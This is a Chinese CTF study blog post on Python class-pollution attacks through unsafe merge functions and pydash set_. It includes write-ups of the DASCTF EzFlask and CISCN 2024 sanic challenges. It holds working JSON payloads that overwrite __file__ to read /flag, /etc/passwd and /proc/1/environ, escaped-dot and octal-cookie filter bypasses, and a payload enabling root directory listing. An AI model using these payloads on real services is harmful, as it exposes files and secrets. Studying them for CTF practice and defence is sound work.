python原型链污染

python原型链污染

​ 后面会有跟着Article_kelp慢慢操作的,前面先面向题目学习。

背景:

​ 国赛遇到了这个考点,然后之后的DASCTF夏季挑战赛也碰到了,抓紧粗略学一手,学了JavaScript之后再深究原型链污染。

简介:

​ python 中的原型链污染是指通过修改对象原型链中的属性,对程序的行为产生以外影响或利用漏洞进行攻击的一种技术。

​ 在 Python中,对象的属性和方法可以通过原型链继承来获取。每个对象都有一个原型,原型上定义了对象可以访问的属性和方法。当对象访问属性或方法时,会先在自身查找,如果找不到就会去原型链上的上级对象中查找,原型链污染攻击的思路是通过修改对象原型链中的属性,使得程序在访问属性或方法时得到不符合预期的结果。常见的原型链污染攻击包括修改内置对象的原型、修改全局对象的原型等

​ 这个知识点应用的范围比较小,仅当题目中出现utilsmergePydash(5.1.2)模块中的setset_with函数才会用上。

merge(没遇到过具体题型,先简单说下):

​ 首先是下面这个程序,可以再merge打个断点,debug试试看:

class father:secret = "hello"
class son_a(father):pass
class son_b(father):pass
def merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)
instance = son_b()
payload = {"__class__" : {"__base__" : {"secret" : "world"}}
}
print(son_a.secret)
#hello
print(instance.secret)
#hello
merge(payload, instance)
print(son_a.secret)
#world
print(instance.secret)
#world
print(father.secret)
#world

​ 这就是一个简单的污染father类的secret属性的一个程序,可以看到的是,最后father.secret确实是被污染了。

​ 当然,内置属性例如 __str__,

特别注意:

​ 并不是所有的类的属性都可以被污染,如Object的属性就无法被污染,所以需要目标类能够被切入点类或对象可以通过属性值查找获取到

大佬是这么说的

通过断点调试可以看出这个merge函数在走到hasattr处,由于我们的payload是一层字典套一层字典,就会递归调用merge,并且由于getattr(dst,k),dst就在一直按着payload的键发生变化,从到类,再到父类,最后把父类的secret赋值为polluted,成功实现了原型链污染。

payload也很好理解,其实就是利用了python的链式继承关系,最后找到这个类即可,和SSTI通过链式继承关系找os模块很像。

类的内置属性,如__str__也可以被污染,但是需要注意,并不是所有类的属性都可以被污染,比如Object就无法被污染。

pydash(5.1.2):

​ 由于暂时不会Sanic框架的编写,所以先暂时用下flask框架, 差距应该不大。

​ 先看看下面这个代码:

from pydash import set_class Father:secret_value = "safe"class Pollution(object):def __init__(self):passpollutant = Pollution()
father = Father()payload = {"key" : "__class__.__init__.__globals__.father.secret_value","value" : "polluted"
}key = payload["key"]
value = payload["value"]print(father.secret_value)
#safe
set_(pollutant,key, value)
print(father.secret_value)
#polluted

​ 如上,我们最后成功污染了Father类的secret_value属性,大概思路就是通过 key 里的这个链子去找到 father.secret_value 这个属性,然后进行污染,污染为 value 的值。

​ 也正因为如此,所以写一个Web服务来试试看:

from flask import Flask
from pydash import set_
import jsonapp = Flask(__name__)class Pollute:def __init__(self):pass@app.route('/', methods=['GET', 'POST'])
def hello_world():return open(__file__).read()@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():payload = {r"key": r"__init__.__globals__.__file__",r"value": r"D:\html study\PyCharm Project\flask_pydash1\flag"}key = payload['key']value = payload['value']pollute = Pollute()set_(pollute,key,value)return "Finished pollute "if __name__ == '__main__':app.run(host='0.0.0.0', port=5000,debug=True)

​ 不知为何,这里写的Web服务中,Pollution() 这里传入reqeust参数总是会出错,所以这里就用这种方式直接规定了key和value的值,作为一种输入方式。

​ 首先第一次访问根路由,得到的页面如下:

在这里插入图片描述

​ 之后,尝试访问下/pollute路由,返回了一个 Finished pollute ,随后再去访问下根路由,得到的如下:

在这里插入图片描述

​ 成功读取到了我提前准备的flag。

​ 原因就是因为在__globals__里找到了__file__属性,然后才能进行污染。

[DASCTF 2023 & 0X401七月暑期挑战赛]EzFlask:

​ (小声嘀咕):前面才刚说了没遇到merge的题,这就遇到了。

​ 首先,打开就是源码:

import uuidfrom flask import Flask, request, session
from secret import black_list
import jsonapp = Flask(__name__)
app.secret_key = str(uuid.uuid4())def check(data):for i in black_list:if i in data:return Falsereturn Truedef merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)class user():def __init__(self):self.username = ""self.password = ""passdef check(self, data):if self.username == data['username'] and self.password == data['password']:return Truereturn FalseUsers = []@app.route('/register',methods=['POST'])
def register():if request.data:try:if not check(request.data):return "Register Failed"data = json.loads(request.data)if "username" not in data or "password" not in data:return "Register Failed"User = user()merge(data, User)Users.append(User)except Exception:return "Register Failed"return "Register Success"else:return "Register Failed"@app.route('/login',methods=['POST'])
def login():if request.data:try:data = json.loads(request.data)if "username" not in data or "password" not in data:return "Login Failed"for user in Users:if user.check(data):session["username"] = data["username"]return "Login Success"except Exception:return "Login Failed"return "Login Failed"@app.route('/',methods=['GET'])
def index():return open(__file__, "r").read()if __name__ == "__main__":app.run(host="0.0.0.0", port=5010)

​ 审计一下,发现了几个点,首先是:

def merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)

​ 就像最开始说的那样,存在merge函数,然后下一个有用的信息是:

@app.route('/',methods=['GET'])
def index():return open(__file__, "r").read()

​ 读取了内置属性 __file__ 的值,最后一个重要的信息是:

@app.route('/register',methods=['POST'])
def register():if request.data:try:if not check(request.data):return "Register Failed"data = json.loads(request.data)if "username" not in data or "password" not in data:return "Register Failed"User = user()merge(data, User)Users.append(User)except Exception:return "Register Failed"return "Register Success"else:return "Register Failed"

​ 这里发现,在该函数中调用了 merge() 函数,并且,data可控,那么,payload应该就显而易见了:

{"username":"a","password":"b","__class__":{"__init__":{"__globals__":{"__file__" : "/flag"#当flag在根目录下以及flag文件名知道的情况下}}}
}

在这里插入图片描述

​ 但是,上传却失败了?(这儿可能会出现两个问题,除了黑名单本身的问题外,还有个重点问题,也会导致失败,就是一定要把Content-Type修改为application/json)看看这儿:

from secret import black_list

​ 虽然挺明显的,但还是很阴。很显然,在check函数下,有个与黑名单的比较,推测应该是这儿过不了,不过,当我们依次把那几个变量修改一下之后,发现,当__init__被修改成__int__后,返回的是 Register Success,所以,这里似乎只需要绕过__init__就行了,先做如下测试:

class A:def __init__(self):passdef check(self):passa = A()
print(a.__class__.check.__globals__)#{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x00000122A3EB56D0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D:\\html study\\PyCharm Project\\flask_pydash1\\test.py', '__cached__': None, 'A': <class '__main__.A'>, 'a': <__main__.A object at 0x00000122A405FA50>}

​ 发现我们可以通过对象的方法来获取__globals__全局变量,所以payload可以如下构造:

{"username":"a","password":"b","__class__":{"check":{"__globals__":{"__file__" : "/flag"}}}
}

​ 但是最后读取根路由的时候出现了哥问题,那就是,flag文件名不对。

在这里插入图片描述

​ 令人窒息的操作。不过有一点儿或许有点儿希望,那就是环境变量,如果环境变量里面也没有的话,那我可就真没法了,说干就干,首先,环境变量可以通过 /proc/$PID/environ 来读取,这里推测有可能需要用到爆破。

在这里插入图片描述

​ 之后读取根路由:

在这里插入图片描述

​ 运气好,flag刚好就在环境变量里。flag如下:

flag{1084bd02-8273-4a0b-a490-08451805df3a}

[Ciscn2024 初赛] sanic

​ 根路由提示: where is my flag?,f12后发现提示了/src路由,访问后获得源码:

from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2class Pollute:def __init__(self):passapp = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)@app.route('/', methods=['GET', 'POST'])
async def index(request):return html(open('static/index.html').read())@app.route("/login")
async def login(request):user = request.cookies.get("user")if user.lower() == 'adm;n':request.ctx.session['admin'] = Truereturn text("login success")return text("login fail")@app.route("/src")
async def src(request):return text(open(__file__).read())@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):if request.ctx.session.get('admin') == True:key = request.json['key']value = request.json['value']if key and value and type(key) is str and '_.' not in key:pollute = Pollute()pydash.set_(pollute, key, value)return text("success")else:return text("forbidden")return text("forbidden")if __name__ == '__main__':app.run(host='0.0.0.0')

​ 初步审一下逻辑,有用的信息如下:

@app.route("/src")
async def src(request):return text(open(__file__).read())

​ 一眼看上去没什么,但是和下面这个结合起来就不一样了:

@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):if request.ctx.session.get('admin') == True:key = request.json['key']value = request.json['value']if key and value and type(key) is str and '_.' not in key:pollute = Pollute()pydash.set_(pollute, key, value)return text("success")else:return text("forbidden")return text("forbidden")

​ 在admin这个路由中,可以清晰地看到pydash.set_()函数,结合上一个信息,应该是打python的原型链污染__file__来读文件,那么,还有个路由需要注意:

@app.route("/login")
async def login(request):user = request.cookies.get("user")if user.lower() == 'adm;n':request.ctx.session['admin'] = Truereturn text("login success")return text("login fail")

​ 这里可以发现的是,我们需要传入一个Cookie的值为user=adm;n 才行,但是,试过了,不行,为啥呢?

注意:以下为我个人分析方式,由于我本人异常菜鸡,所以很有可能是错误的,不可盲目相信。

​ 然后我们盯住user = request.cookies.get("user")这一行代码,对着cookie同时按住ctrl+左键,找到这一行内容,跟进:

在这里插入图片描述

​ 发现如下源码:

    @propertydef cookies(self) -> RequestParameters:"""Incoming cookies on the requestReturns:RequestParameters: Incoming cookies on the request"""if self.parsed_cookies is None:self.get_cookies()return cast(CookieRequestParameters, self.parsed_cookies)

​ 跟进 get_cookies()

    def get_cookies(self) -> RequestParameters:cookie = self.headers.getone("cookie", "")self.parsed_cookies = CookieRequestParameters(parse_cookie(cookie))return self.parsed_cookies

​ 这里审过前面那个对象,重要程度没有再跟进parse_cookie(cookie)高,所以跟进parse_cookie(cookie)

def parse_cookie(raw: str) -> Dict[str, List[str]]:"""Parses a raw cookie string into a dictionary.The function takes a raw cookie string (usually from HTTP headers) andreturns a dictionary where each key is a cookie name and the value is alist of values for that cookie. The function handles quoted values andskips invalid cookie names.Args:raw (str): The raw cookie string to be parsed.Returns:Dict[str, List[str]]: A dictionary containing the cookie names as keysand a list of values for each cookie.Example:```pythonraw = 'name1=value1; name2="value2"; name3=value3'cookies = parse_cookie(raw)# cookies will be {'name1': ['value1'], 'name2': ['value2'], 'name3': ['value3']}```"""  # noqa: E501cookies: Dict[str, List[str]] = {}for token in raw.split(";"):name, sep, value = token.partition("=")name = name.strip()value = value.strip()# Support cookies =value or plain value with no name# https://github.com/httpwg/http-extensions/issues/159if not sep:if not name:# Empty value like ;; or a cookie header with no valuecontinuename, value = "", nameif COOKIE_NAME_RESERVED_CHARS.search(name):  # no covcontinueif len(value) > 2 and value[0] == '"' and value[-1] == '"':  # no covvalue = _unquote(value)if name in cookies:cookies[name].append(value)else:cookies[name] = [value]return cookies

​ 这里有一点需要注意:

 for token in raw.split(";"):name, sep, value = token.partition("=")name = name.strip()value = value.strip()

​ 这个代码很显然是将分号前后分割成了两个字符串,也就是说,我们想要输入的Cookie: user=adm;n会变成user=adm以及n这两个串。

​ 根据这几行,大概可以发现最后返回的内容和什么有关了:

        if len(value) > 2 and value[0] == '"' and value[-1] == '"':  # no covvalue = _unquote(value)if name in cookies:cookies[name].append(value)else:cookies[name] = [value]return cookies

​ 很明显,最终返回的是 cookies ,但是每次操作cookies都是增加的value参数,由此,根据 value = _unquote(value),这里跟进_unquote(value)

def _unquote(str):  # no covif str is None or len(str) < 2:return strif str[0] != '"' or str[-1] != '"':return strstr = str[1:-1]i = 0n = len(str)res = []while 0 <= i < n:o_match = OCTAL_PATTERN.search(str, i)q_match = QUOTE_PATTERN.search(str, i)if not o_match and not q_match:res.append(str[i:])break# else:j = k = -1if o_match:j = o_match.start(0)if q_match:k = q_match.start(0)if q_match and (not o_match or k < j):res.append(str[i:k])res.append(str[k + 1])i = k + 2else:res.append(str[i:j])res.append(chr(int(str[j + 1 : j + 4], 8)))  # noqa: E203i = j + 4return "".join(res)

​ 感觉,这个就是我们最主要的利用的点。

​ 首先是这几行:

    if str is None or len(str) < 2:return strif str[0] != '"' or str[-1] != '"':return strstr = str[1:-1]

​ 判断传入的字符串(这里推测是user=XXXX中的XXXX),发现如果第一个字符不是两种引号,则直接返回,如果是引号,则掐头去尾,把引号去掉。之后的代码我不大会审,跑去问了下AI,可能有点儿智障,不过给了我一个方向,测试了一下,能成:

    i = 0n = len(str)res = []while 0 <= i < n:o_match = OCTAL_PATTERN.search(str, i)q_match = QUOTE_PATTERN.search(str, i)if not o_match and not q_match:res.append(str[i:])break# else:j = k = -1if o_match:j = o_match.start(0)if q_match:k = q_match.start(0)if q_match and (not o_match or k < j):res.append(str[i:k])res.append(str[k + 1])i = k + 2else:res.append(str[i:j])res.append(chr(int(str[j + 1 : j + 4], 8)))  # noqa: E203i = j + 4

在这里插入图片描述

​ 后面还给了个它给写的改进的代码,不过就不放这儿了。

​ 根据这个答案猜想,可能是通过八进制进行的绕过,测试一下,访问下login路由,然后修改cookie的值为Cookie: user="adm\073n",之后试试看能否登陆成功?

在这里插入图片描述

​ 成功了 (≧▽≦)o

​ 这里它返回了个Session值,然后将它给的Session值写到请求头内,然后访问admin路由,发现并没有 给我们直接forbidden掉,说明成功了。之后就是正儿八经的原型链污染读文件了,第一波,先读一下,先来个第一个payload:

{
"key"  : "__init__.__globals__.__file__",
"value" : "/etc/passwd"
}

​ 然而,恭喜了,每过,被forbidden了。回去看看,破案了,admin路由函数中存在这么一个比较:if key and value and type(key) is str and '_.' not in key:,这个就卡住我了。先来看下这几行:

        key = request.json['key']value = request.json['value']if key and value and type(key) is str and '_.' not in key:pollute = Pollute()pydash.set_(pollute, key, value)

​ 似乎需要绕过的仅仅只有key中的 '_.'字符串,那么,需要的就是对key进行操作的地方应该重点观察,所以,上面这个代码应该重点看一看,当然, 前面的所有都没有用,最有用的只有pydash.set_(pollute, key, value),那么,没办法了,跟进set_()函数:

def set_(obj, path, value):"""Sets the value of an object described by `path`. If any part of the object path doesn't exist,it will be created.Args:obj (list|dict): Object to modify.path (str | list): Target path to set value to.value (mixed): Value to set.Returns:mixed: Modified `obj`.Warning:`obj` is modified in place.Example:>>> set_({}, 'a.b.c', 1){'a': {'b': {'c': 1}}}>>> set_({}, 'a.0.c', 1){'a': {'0': {'c': 1}}}>>> set_([1, 2], '[2][0]', 1)[1, 2, [1]]>>> set_({}, 'a.b[0].c', 1){'a': {'b': [{'c': 1}]}}.. versionadded:: 2.2.0.. versionchanged:: 3.3.0Added :func:`set_` as main definition and :func:`deep_set` as alias... versionchanged:: 4.0.0- Modify `obj` in place.- Support creating default path values as ``list`` or ``dict`` based on whether key or indexsubstrings are used.- Remove alias ``deep_set``."""return set_with(obj, path, value)

​ 算是,好消息吧,直接就看到了path,我们传入的key或许就是这个叫path的东西,毕竟那个链子看起来也很像是路径。好,没啥内容,跟进set_with(obj, path, value)

def set_with(obj, path, value, customizer=None):"""This method is like :func:`set_` except that it accepts customizer which is invoked to producethe objects of path. If customizer returns undefined path creation is handled by the methodinstead. The customizer is invoked with three arguments: ``(nested_value, key, nested_object)``.Args:obj (list|dict): Object to modify.path (str | list): Target path to set value to.value (mixed): Value to set.customizer (callable, optional): The function to customize assigned values.Returns:mixed: Modified `obj`.Warning:`obj` is modified in place.Example:>>> set_with({}, '[0][1]', 'a', lambda: {}){0: {1: 'a'}}.. versionadded:: 4.0.0.. versionchanged:: 4.3.1Fixed bug where a callable `value` was called when being set."""return update_with(obj, path, pyd.constant(value), customizer=customizer)

​ 盯着path,继续跟进:

def update_with(obj, path, updater, customizer=None):  # noqa: C901"""This method is like :func:`update` except that it accepts customizer which is invoked to producethe objects of path. If customizer returns ``None``, path creation is handled by the methodinstead. The customizer is invoked with three arguments: ``(nested_value, key, nested_object)``.Args:obj (list|dict): Object to modify.path (str|list): A string or list of keys that describe the object path to modify.updater (callable): Function that returns updated value.customizer (callable, optional): The function to customize assigned values.Returns:mixed: Updated `obj`.Warning:`obj` is modified in place.Example:>>> update_with({}, '[0][1]', lambda: 'a', lambda: {}){0: {1: 'a'}}.. versionadded:: 4.0.0"""if not callable(updater):updater = pyd.constant(updater)if customizer is not None and not callable(customizer):call_customizer = partial(callit, clone, customizer, argcount=1)elif customizer:call_customizer = partial(callit, customizer, argcount=getargcount(customizer, maxargs=3))else:call_customizer = Nonedefault_type = dict if isinstance(obj, dict) else listtokens = to_path_tokens(path)if not pyd.is_list(tokens):  # pragma: no covertokens = [tokens]last_key = pyd.last(tokens)if isinstance(last_key, PathToken):last_key = last_key.keytarget = objfor idx, token in enumerate(pyd.initial(tokens)):if isinstance(token, PathToken):key = token.keydefault_factory = pyd.get(tokens, [idx + 1, "default_factory"], default=default_type)else:key = tokendefault_factory = default_typeobj_val = base_get(target, key, default=None)path_obj = Noneif call_customizer:path_obj = call_customizer(obj_val, key, target)if path_obj is None:path_obj = default_factory()base_set(target, key, path_obj, allow_override=False)try:target = base_get(target, key, default=None)except TypeError as exc:  # pragma: no covertry:target = target[int(key)]_failed = Falseexcept Exception:_failed = Trueif _failed:raise TypeError(f"Unable to update object at index {key!r}. {exc}")value = base_get(target, last_key, default=None)base_set(target, last_key, callit(updater, value))return obj

​ 继续跟进path,似乎整个函数里就只有一个:tokens = to_path_tokens(path),还是无脑根:

def to_path_tokens(value):"""Parse `value` into :class:`PathToken` objects."""if pyd.is_string(value) and ("." in value or "[" in value):# Since we can't tell whether a bare number is supposed to be dict key or a list index, we# support a special syntax where any string-integer surrounded by brackets is treated as a# list index and converted to an integer.keys = [PathToken(int(key[1:-1]), default_factory=list)if RE_PATH_LIST_INDEX.match(key)else PathToken(unescape_path_key(key), default_factory=dict)for key in filter(None, RE_PATH_KEY_DELIM.split(value))]elif pyd.is_string(value) or pyd.is_number(value):keys = [PathToken(value, default_factory=dict)]elif value is UNSET:keys = []else:keys = valuereturn keys

​ 这儿不知道怎么操作了,但是跟进 RE_PATH_KEY_DELIM后得到了个正则表达式:

RE_PATH_KEY_DELIM = re.compile(r"(?<!\\)(?:\\\\)*\.|(\[\d+\])")

​ 问了下ai,ai的回复中有一点儿值得注意:

请注意,这个正则表达式在处理复杂的转义序列时可能不是完美的,特别是当字符串中包含连续的转义字符(如 \\\\.),这些字符可能意图表示一个实际的点号但前面有偶数个反斜杠。此外,如果点号后面紧跟的是字母或其他非数字字符,它仍然会被匹配为分隔符,即使这可能不是预期的。

​ 我个人已经别无他法了,照着它给的这个这\\\\.试着绕了一下,结果成功了,payload如下:

{
"key"  : "__init__\\\\.__globals__\\\\.__file__",
"value" : "/etc/passwd"
}

​ 访问src路由,成功读取到了文件:

在这里插入图片描述

​ 好了,照理来说,这个题目如果这样的话已经成功了,利用如下payload直接读取进程的环境变量即可:

{
"key"  : "__init__\\\\.__globals__\\\\.__file__",
"value" : "/proc/1/environ"
}

在这里插入图片描述

​ 但是,看了下大佬们的wp似乎有另一种姿势,算是一种非预期吧。

下面跟着大佬们走:

​ 先看如下位置:

app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)

​ 跟进 static(),得到如下内容:

    def static(self,uri: str,file_or_directory: Union[PathLike, str],pattern: str = r"/?.+",use_modified_since: bool = True,use_content_range: bool = False,stream_large_files: Union[bool, int] = False,name: str = "static",host: Optional[str] = None,strict_slashes: Optional[bool] = None,content_type: Optional[str] = None,apply: bool = True,resource_type: Optional[str] = None,index: Optional[Union[str, Sequence[str]]] = None,directory_view: bool = False,directory_handler: Optional[DirectoryHandler] = None,):"""Register a root to serve files from. The input can either be a file or a directory.This method provides an easy and simple way to set up the route necessary to serve static files.Args:uri (str): URL path to be used for serving static content.file_or_directory (Union[PathLike, str]): Path to the static fileor directory with static files.pattern (str, optional): Regex pattern identifying the validstatic files. Defaults to `r"/?.+"`.use_modified_since (bool, optional): If true, send file modifiedtime, and return not modified if the browser's matches theserver's. Defaults to `True`.use_content_range (bool, optional): If true, process header forrange requests and sends  the file part that is requested.Defaults to `False`.stream_large_files (Union[bool, int], optional): If `True`, usethe `StreamingHTTPResponse.file_stream` handler rather thanthe `HTTPResponse.file handler` to send the file. If thisis an integer, it represents the threshold size to switchto `StreamingHTTPResponse.file_stream`. Defaults to `False`,which means that the response will not be streamed.name (str, optional): User-defined name used for url_for.Defaults to `"static"`.host (Optional[str], optional): Host IP or FQDN for theservice to use.strict_slashes (Optional[bool], optional): Instruct Sanic tocheck if the request URLs need to terminate with a slash.content_type (Optional[str], optional): User-defined content typefor header.apply (bool, optional): If true, will register the routeimmediately. Defaults to `True`.resource_type (Optional[str], optional): Explicitly declare aresource to be a `"file"` or a `"dir"`.index (Optional[Union[str, Sequence[str]]], optional): Whenexposing against a directory, index is  the name that willbe served as the default file. When multiple file names arepassed, then they will be tried in order.directory_view (bool, optional): Whether to fallback to showingthe directory viewer when exposing a directory. Defaultsto `False`.directory_handler (Optional[DirectoryHandler], optional): Aninstance of DirectoryHandler that can be used for explicitlycontrolling and subclassing the behavior of the defaultdirectory handler.Returns:List[sanic.router.Route]: Routes registered on the router.Examples:Serving a single file:```pythonapp.static('/foo', 'path/to/static/file.txt')```Serving all files from a directory:```pythonapp.static('/static', 'path/to/static/directory')```Serving large files with a specific threshold:```pythonapp.static('/static', 'path/to/large/files', stream_large_files=1000000)```"""  # noqa: E501name = self.generate_name(name)if strict_slashes is None and self.strict_slashes is not None:strict_slashes = self.strict_slashesif not isinstance(file_or_directory, (str, bytes, PurePath)):raise ValueError(f"Static route must be a valid path, not {file_or_directory}")try:file_or_directory = Path(file_or_directory).resolve()except TypeError:raise TypeError("Static file or directory must be a path-like object or string")if directory_handler and (directory_view or index):raise ValueError("When explicitly setting directory_handler, you cannot ""set either directory_view or index. Instead, pass ""these arguments to your DirectoryHandler instance.")if not directory_handler:directory_handler = DirectoryHandler(uri=uri,directory=file_or_directory,directory_view=directory_view,index=index,)static = FutureStatic(uri,file_or_directory,pattern,use_modified_since,use_content_range,stream_large_files,name,host,strict_slashes,content_type,resource_type,directory_handler,)self._future_statics.add(static)if apply:self._apply_static(static)

​ 注释里面存在这两句话:

            directory_view (bool, optional): Whether to fallback to showingthe directory viewer when exposing a directory. Defaultsto `False`.directory_handler (Optional[DirectoryHandler], optional): Aninstance of DirectoryHandler that can be used for explicitlycontrolling and subclassing the behavior of the defaultdirectory handler.

​ 大致意思就是directory_view为True时,会开启列目录功能,directory_handler中可以获取指定的目录。跟进下directory_handler ,如下:

        if not directory_handler:directory_handler = DirectoryHandler(uri=uri,directory=file_or_directory,directory_view=directory_view,index=index,)

​ 再跟进DirectoryHandler,发现如下

def __init__(self,uri: str,directory: Path,directory_view: bool = False,index: Optional[Union[str, Sequence[str]]] = None,) -> None:

​ 我们发现只要我们将directory污染为根目录,directory_view污染为True,就可以看到根目录的所有文件了。

后续我在Windows上测试次次运行不了,这里就直接借一下大佬们的代码在这儿,我就不实操了

from sanic import Sanic
from sanic.response import text, html
#from sanic_session import Session
import sys
import pydash
# pydash==5.1.2class Pollute:def __init__(self):passapp = Sanic(__name__)
app.static("/static/", "./static/")
#Session(app)#@app.route('/', methods=['GET', 'POST'])
#async def index(request):#return html(open('static/index.html').read())#@app.route("/login")
#async def login(request):#user = request.cookies.get("user")#if user.lower() == 'adm;n':#request.ctx.session['admin'] = True#return text("login success")#return text("login fail")@app.route("/src")
async def src(request):print(app.router.name_index)return text(open(__file__).read())@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):key = request.json['key']value = request.json['value']if key and value and type(key) is str and '_.' not in key:pollute = Pollute()pydash.set_(pollute, key, value)return text("success")else:return text("forbidden")#print(app.router.name_index['name'].directory_view)if __name__ == '__main__':app.run(host='0.0.0.0')

​ 输出应该接近这样:

在这里插入图片描述

​ 看出来了路由是 "__mp_main__.static",之后,就可以直接一把梭了(具体链子怎么找,参考gxngxngxn大佬的文章):

{
"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view",
"value": 1
}

​ 上面的payload是开启目录功能。

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

​ 这个payload是将指定目录污染为根目录,之后访问/static/目录,就能看到根目录下开始的所有文件的文件名了/

{"key":"__init__\\\\.__globals__\\\\.__file__","value": "/flag文件名字"}

​ 这个payload是用来读flag文件的,之后访问src路由即可获得flag。

参考文章:

基础资料

Python原型链污染

Python原型链污染变体(prototype-pollution-in-python)

Pydash 原型链污染

做题参考:

从CISCN2024的sanic引发对python“原型链”的污染挖掘

CISCN2024-WEB-Sanic gxngxngxn

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/47239.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

传输层和网络层的关系,ip协议+ip地址+ip报头字段介绍(4位TOP字段,8位生存时间(ttl)),ip地址和端口号的作用

目录 传输层和网络层的关系 引入 介绍 ip协议 介绍 ip地址 引入 数据传递过程 举例(ip地址的作用) ip报头 格式 4位版本号 ip地址不足的问题 8位服务类型 4位TOP(type of service)字段 最小延时 最大吞吐量 4位首部长度 16位总长度 8位协议号 首部校验和…

《样式设计001:表单的2种提交方式》

描述&#xff1a;在开发小程序过程中&#xff0c;发现一些不错的案例&#xff0c;平时使用也比较多&#xff0c;稍微总结了下经验&#xff0c;以下内容可以直接复制使用&#xff0c;希望对大家有所帮助&#xff0c;废话不多说直接上干货&#xff01; 一&#xff1a;表单的2种…

【强化学习的数学原理】课程笔记--4(随机近似与随机梯度下降,时序差分方法)

目录 随机近似与随机梯度下降Mean estimationRobbins-Monro 算法用 Robbins-Monro 算法解释 Mean estimation用 Robbins-Monro 算法解释 Batch Gradient descent用 SGD 解释 Mean estimation SGD 的一个有趣的性质 时序差分方法Sarsa 算法一个例子 Expected Sarsa 算法n-step S…

电容认识和特点总结

图片 常见的电容名字及特点 名字特点容量和耐压独石电容MLCCMulti layer Ceramic Capacitors (多层陶瓷电容) 常见的贴片电容&#xff0c;容量大于瓷片电容0.5pF~100uF,耐压<100V瓷片/陶瓷电容耐压远高于独石电容,容量小<0.1uf&#xff0c;用于晶振旁路电容滤波铝电解电…

PY32F002B单片机 ISP 串口下载注意事项

一、PY32F002B ISP 串口下载的连接方式 仿真上的 VCC 和 GND 连接到 MCU 的 VCC 和 VSS&#xff0c; 仿真的 TX 接 MCU 的 RX&#xff0c;RX 接 MCU 的 TX。 二、因为 PY32F002B 没有 BOOT&#xff0c;需要用 ISP 串口下载的话需要下载串口引导程序。 下载这个目录下的 IAP…

Python酷库之旅-第三方库Pandas(036)

目录 一、用法精讲 111、pandas.Series.item方法 111-1、语法 111-2、参数 111-3、功能 111-4、返回值 111-5、说明 111-6、用法 111-6-1、数据准备 111-6-2、代码示例 111-6-3、结果输出 112、pandas.Series.xs方法 112-1、语法 112-2、参数 112-3、功能 112-…

几种常用排序算法

1 基本概念 排序是处理数据的一种最常见的操作&#xff0c;所谓排序就是将数据按某字段规律排列&#xff0c;所谓的字段就是数据节点的其中一个属性。比如一个班级的学生&#xff0c;其字段就有学号、姓名、班级、分数等等&#xff0c;我们既可以针对学号排序&#xff0c;也可…

OpenGL-ES 学习(7) ---- VBO EBO 和 VAO

目录 VBO(Vertex Buffer Object)EBO(Element Buffer Object)VAO(Vertex Array Object) VBO(Vertex Buffer Object) EBO(Element Buffer Object) VBO(Vertex Buffer Object) 实际是指顶点缓冲器对象 在 opengl-es 2.0 的编程中&#xff0c;用于绘制图元的顶点数据是从 CPU 传…

暑假第一周学习内容-ZARA仿写

仿写ZARA总结 文章目录 仿写ZARA总结前言无限轮播图分栏控制器与UIScrollViewUIScorllView的协议部分UISegmentedControl的协议部分 自定义cell 前言 本文主要是用来总结仿写ZARA中遇到的一些问题&#xff0c;以及ZARA中学习到的一些新知识。 无限轮播图 这里我们先给出无限…

使用Windows Linux 子系统安装 Tensorflow,并使用GPU环境

在Microsoft Store商店安装Ubuntu 20.04 使用 nvidia-smi 命令查看GPU信息&#xff0c;查看支持的CUDA版本&#xff0c;这里最高支持11.7 安装cuda工具集 进入官网&#xff1a;CUDA Toolkit Archive | NVIDIA Developer&#xff0c;现在对应版本&#xff0c;点击 配置平台&…

LeNet实验 四分类 与 四分类变为多个二分类

目录 1. 划分二分类 2. 训练独立的二分类模型 3. 二分类预测结果代码 4. 二分类预测结果 5 改进训练模型 6 优化后 预测结果代码 7 优化后预测结果 8 训练四分类模型 9 预测结果代码 10 四分类结果识别 1. 划分二分类 可以根据不同的类别进行多个划分&#xff0c;以…

科研绘图系列:R语言分割小提琴图(Split-violin)

介绍 分割小提琴图(Split-violin plot)是一种数据可视化工具,它结合了小提琴图(violin plot)和箱线图(box plot)的特点。小提琴图是一种展示数据分布的图形,它通过在箱线图的两侧添加曲线来表示数据的密度分布,曲线的宽度表示数据点的密度。而分割小提琴图则是将小提…

绿色算力|暴雨服务器用芯片筑起“十四五”转型新篇章

面对全球气候变化、技术革新以及能源转型的新形势&#xff0c;发展低碳、高效的绿色算力不仅是顺应时代的要求&#xff0c;更是我国建设数字基础设施和展现节能减碳大国担当的重要命题&#xff0c;在此背景下也要求在提升算力规模和性能的同时&#xff0c;积极探索推动算力基础…

【iOS】APP仿写——网易云音乐

